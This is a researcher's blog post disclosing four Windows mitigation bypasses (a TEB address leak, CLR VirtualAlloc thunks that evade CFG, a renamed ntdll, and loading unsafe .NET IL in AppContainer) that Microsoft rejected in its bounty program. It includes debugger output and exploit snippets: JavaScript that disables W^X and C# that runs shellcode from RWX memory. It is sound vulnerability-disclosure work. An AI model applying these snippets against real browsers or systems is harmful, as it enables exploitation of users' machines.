Mitigation bounty — 4 techniques to bypass mitigations

This post discloses 4 techniques to bypass mitigations that were rejected by Microsoft as “by design” or “already known”. For each mitigation, I explain the approach, why it was not considered and point to the GitHub source.

I explain my approach on the first post:

In the second post, I describe how you can transform a read-write anywhere primitive into calling valid CFG functions and controlling all arguments:

1) The RtlCleanUpTEBLangLists function leaks the TEB address allowing to corrupt the stack.

The ntdll!RtlCleanUpTEBLangLists function returns the current TEB pointer by mistake. I assume the return value is void and the value leak because of the rax register being used (on all version tested):

mov     rax, gs:30h <-------- All return will have RAX=TEB
cmp qword ptr [rax+1810h], 0
jnz short loc_180005CE0
...
add rsp, 20h
pop rbx
retn

The TEB contains the stack base and limit:

0:000> !teb
TEB at 0000004ff4ed9000
ExceptionList: 0000000000000000
StackBase: 0000004ff4d90000
StackLimit: 0000004ff4d7f000

The proof-of-concept scans the stack for a return value to chakra!amd64_CallFunction which is not RFG instrumented. You should get the following crash:

(37c0.3a4c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
000002c0`409b0fd4 c3 ret <---- Javascript JIT
0:009> dqs @rsp l1
000000ca`8a1f9d18 aaaaaaaa`aaaaaaaa

Microsoft considered this technique “out-of-scope”. They said that corrupting a return address was a design limitation of CFG. Corrupting non-RFG instrumented functions return address was a known limitation. I thought being able to leak the location of the stack or TEB was an issue given ntdll!NtQueryInformationThread is blocked by CFG.

You can find the proof-of-concept code here.

2) Use CLR memory thunks to bypass CFG

The .NET library (mscoree.dll) implements wrapper functions for VirtualAlloc, VirtualProtect, HeapCreate, VirtualQuery and others. These C++ methods are valid CFG call targets and just redirect to each API . They can be used to generate dynamic code, bypassing CFG.

For example, UtilExecutionEngine::ClrVirtualAlloc just shifts parameters:

; void *__fastcall UtilExecutionEngine::ClrVirtualAlloc(UtilExecutionEngine *this, ...)
?ClrVirtualAlloc@UtilExecutionEngine@@EEAAPEAXPEAX_KKK@Z proc near
; DATA XREF: .rdata:...
arg_20          = dword ptr  28h
                mov     eax, r9d
mov r10, r8
mov r9d, [rsp+arg_20]
mov rcx, rdx
mov r8d, eax
mov rdx, r10
jmp cs:__imp_VirtualAlloc
?ClrVirtualAlloc@UtilExecutionEngine@@EEAAPEAXPEAX_KKK@Z endp

The callstack after calling this thunk:

# Call Site
00 ntdll!NtAllocateVirtualMemory
01 KERNELBASE!VirtualAlloc+0x4b
02 EShims!NS_ACGLockdownTelemetry::APIHook_VirtualAlloc+0x51
03 RPCRT4!Invoke+0x73
04 RPCRT4!NdrStubCall2+0x38f
05 RPCRT4!NdrServerCall2+0x1a
06 chakra!amd64_CallFunction+0x93

You can see the telemetry hook won’t even understand how we managed to call VirtualAlloc from rpcrt4!Invoke.

The W^X mitigation (called ACG on Windows) prevents allocating executable memory except when mapping modules. Note that modules must be Microsoft signed. Microsoft Edge enables this mitigation but does not enforce it. It can be disabled through a call to kernel32!SetThreadInformation. That’s how the PoC generates and execute a custom shellcode:

// Disable W^X for the thread
function disable_wx(exp) {
var THREAD_DYNAMIC_CODE_ALLOW = 1;
var ThreadDynamicCodePolicy = 2;
var cur_thread = -2;
var mem = exp.allocate(0x10);
exp.write_uint(mem, THREAD_DYNAMIC_CODE_ALLOW);
var r = exp.call_function("kernelbase.dll", "SetThreadInformation",
cur_thread, ThreadDynamicCodePolicy, mem, 4);
check_eq(r, 1);
}

The Javascript chakra engine disables the mitigation every time it needs to generate Just-In-Time (JIT) code. Future versions of Edge will generate the dynamic code from another process so W^X cannot be disabled:

This change prevents allocating a writeable and executable page to execute a custom shellcode. The CFG mitigation does not check all function pointer calls. The PE file IAT sections are not checked. You can make them writeable using ClrVirtualProtect and start a ROP chain.

The proof-of-concept code shows both techniques. The IAT overwrite crashes with this exception:

(828.3270): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
KERNELBASE!AccessCheck+0x33:
00007ffd`92f90d93 ff1567761100 call qword ptr [KERNELBASE!_imp_NtAccessCheck (00007ffd`930a8400)] ds:00007ffd`930a8400=aaaaaaaaaaaaaaaa

A quick scan of dlls on my machine found 14 had similar valid CFG VirtualAlloc thunk functions. I gave all the results to Microsoft.

Microsoft considered this technique as a “by design” limitation of CFG. CLR exposes these interfaces as part of the API, it might be hard to mitigate.

You can find the proof-of-concept code here.

3) Reloading ntdll under a different name disable CFG restrictions

If you reload ntdll with another name in the local temporary directory then the restrictions to NtAllocateVirtualMemory or NtProtectVirtualMemory are gone. They are enforced by Edge and not for other processes. That seem like a big oversight for non-Edge processes.

Calling NtAllocateVirtualMemory on a renamed ntdll:

# Call Site
00 joelerigolo902063550!NtAllocateVirtualMemory
01 RPCRT4!Invoke+0x73
02 RPCRT4!NdrStubCall2+0x38f
03 RPCRT4!NdrServerCall2+0x1a
04 chakra!amd64_CallFunction+0x93
joelerigolo902063550!NtAllocateVirtualMemory:
mov r10,rcx
mov eax,18h
test byte ptr [SharedUserData+0x308 (00000000`7ffe0308)],1
jne joelerigolo902063550!NtAllocateVirtualMemory+0x15 (00007ffd`680163d5)
syscall
ret
int 2Eh
ret

I reported this issue privately to an MSRC engineer. It took weeks to get a verdict on the previous report, I didn’t want to wait. The non-official feedback I got was that this issue was fairly similar to 2, so would likely be considered “already known” or “out-of-scope”. After all, they already know that these ntdll functions are not protected in other processes.

You can find the proof-of-concept code here.

4) Load unsafe .NET IL stream, import any native function to call

By using .NET and changing multiple restrictions made in AppContainer, you can load an unsafe .NET IL stream. A .NET binary does not respect CFG and can call any function.

To disable .NET AppContainer restrictions, I look for g_pAppXRTInfo through pattern matching and set the AppXProcess field to 0. I also modify the current thread AppDomain to be similar to that one we have on non-AppContainer processes. I am sure they are easier ways to do it.

Being able to load and execute an unsafe .NET binary stream is as close as loading your own dll as you can get. The are currently very few restrictions.

The .NET code used in the PoC:

[DllImport("kernel32.dll", SetLastError = true)]
static extern UIntPtr VirtualAlloc(UIntPtr lpAddress,
UIntPtr dwSize, AllocationType flAllocationType,
MemoryProtection flProtect);
delegate void TestCallbackDelegate();
public MyClass()
{
UIntPtr addr = VirtualAlloc(new UIntPtr(0), new UIntPtr(0x1000),
AllocationType.COMMIT, MemoryProtection.EXECUTE_READWRITE);
  unsafe
{
var ptr = addr.ToPointer();
var callback = (TestCallbackDelegate) Marshal.GetDelegateForFunctionPointer(new IntPtr(ptr), typeof(TestCallbackDelegate));
byte* buffer = (byte*)ptr;
int i = 0;
buffer[i++] = (byte)0x90;
buffer[i++] = (byte)0x90;
buffer[i++] = (byte)0x90;
buffer[i++] = (byte)0x90;
buffer[i++] = (byte)0xcc;
    callback();
}
}

Microsoft considered this technique as “already known”. They are trying to fix the .NET / JIT story but that’s a major effort. I wonder how successful it is going to be. After all, you can load different versions of the .NET library. DllImport also assumes you can import any function so limiting to valid CFG functions might be difficult.

You can find the proof-of-concept code here.


I hope you found these techniques helpful. Feel free to reuse the code for your own research.